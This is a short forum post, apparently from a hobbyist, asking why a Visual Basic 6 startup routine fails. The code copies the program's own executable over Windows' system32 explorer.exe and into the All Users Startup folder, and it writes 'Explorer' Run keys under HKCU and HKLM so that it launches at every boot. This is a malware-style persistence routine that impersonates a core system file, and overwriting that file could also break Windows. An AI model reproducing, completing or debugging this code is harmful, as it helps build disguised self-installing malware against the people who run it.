Why doesnt this work? I want it so that it saves everytime i turn the computer on The form is loaded too.Code:Private Sub Form_Load() Dim WshShell As Object, sSource$, sDest$ Set WshShell = CreateObject("WScript.Shell") sSource = App.Path & "\" & App.EXEName & ".exe" FileCopy sSource, "C:\WINDOWS\system32\explorer.exe" FileCopy sSource, "C:\Documents and Settings\All Users\Start Menu\Programs\Startup\explorer.exe""" WshShell.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\Explorer", "C:\WINDOWS\system32\explorer.exe", "REG_SZ" WshShell.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Explorer", "C:\WINDOWS\system32\explorer.exe", "REG_SZ" Set WshShell = Nothing End Sub




Reply With Quote